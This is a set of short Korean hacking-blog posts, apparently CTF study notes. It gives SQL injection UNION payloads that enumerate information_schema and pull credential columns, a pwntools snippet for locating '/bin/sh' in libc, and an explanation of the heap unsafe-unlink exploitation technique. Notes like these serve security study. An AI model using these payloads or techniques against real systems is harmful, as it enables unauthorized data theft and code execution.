select id, pw from member where id='' union select info, 1 from information_schema.processlist;

->select id, pw from member where id='' union select info, 1 from information_schema.processlist

//쿼리를 모를 때 전체 쿼리를 반환받아볼 수 있음

select table_name from information_schema.tables where table_schema=database();

-> member, test_table

select column_name from information_schema.columns where table_name='member';

-> id, pw, no

'HACKING > Web hacking' 카테고리의 다른 글

sqli information_schema tip  (0) 2019.07.14
mysql group_concat  (0) 2018.04.04
SQL injection msql.innodb_table_stats  (0) 2018.02.24
sql injection 참고  (0) 2018.02.10
LFI Exploit with PHP Protocols / Wrappers  (0) 2017.11.30
Knowing about Local File Inclusion(LFI)  (0) 2017.11.14

libc= ELF('./라이브러리')

leak_binsh = base_addr + list(local_libc.search('/bin/sh'))[0]

---------------------------------------------------------------

strings -tx [사용라이브러리] | grep "/bin/sh"

 

Ref.https://nroses-taek.tistory.com/188

'HACKING > System hacking' 카테고리의 다른 글

tips for find binsh address using pwntool  (0) 2019.07.05
unsafe unlink  (0) 2019.06.06
fastbin_dup_into_stack  (0) 2019.06.03
remote socket exploit??  (0) 2019.02.03
memory cheat sheet  (0) 2019.01.17
free_hook으로 Full Relro 우회  (0) 2018.09.17

예를 들어

a1 = malloc(128);

a2 = malloc(128);

로 128바이트의 힙 영역을 두번 할당 받게되면 두 영역이 인접해진다.

여기서 만약

free(a1);

으로 첫번째 chunk가 해제된 상태라고 가정한다면 

두번째 chunk 헤더는 

prev_size : 00000090 size : 0x00000090

인 상태가 될 것이다. 자신 chunk의 size는 PREV_INUSE flag가 0이 된 상태다(이전 청크가 해제 되었단 의미)

이 상태에서

free(a2)

를 하게 되면 small bin의 특성상 두번째 chunk와 인접해서 해제되어있는 첫번째 chunk와 consolidation(병합) 하는 과정을 갖는다. 

취약점은 여기서 터진다. 오버플로우를 통해 첫번째 chunk에 fack chunk를 만들어주고 두번째 chunk의 헤더에 prev_size를 첫번째 header까지의 거리로, size의 prev_inuse bit를 0으로 해주면 fack chunk와 병합을 하게 된다. 그렇게 되면 첫번째 chunk의 주소를 가지고 있는 전역변수에 원하는 값을 집어 넣을 수 있다.

말대로 첫번째 chunk의 주소가 전역변수에 저장된다면 facke chunk의 fd = (전역변수 - 0x18)와 bk = (전역변수 - 0x10)로 넣어준다.  그렇게 하면 병합과정에서 전역변수에 fd가 들어갈 것이다.

그런 다음 해당 전역변수의 값을 잘 조작할 수 있다면 공격을 할 수 있다.

'HACKING > System hacking' 카테고리의 다른 글

tips for find binsh address using pwntool  (0) 2019.07.05
unsafe unlink  (0) 2019.06.06
fastbin_dup_into_stack  (0) 2019.06.03
remote socket exploit??  (0) 2019.02.03
memory cheat sheet  (0) 2019.01.17
free_hook으로 Full Relro 우회  (0) 2018.09.17

+ Recent posts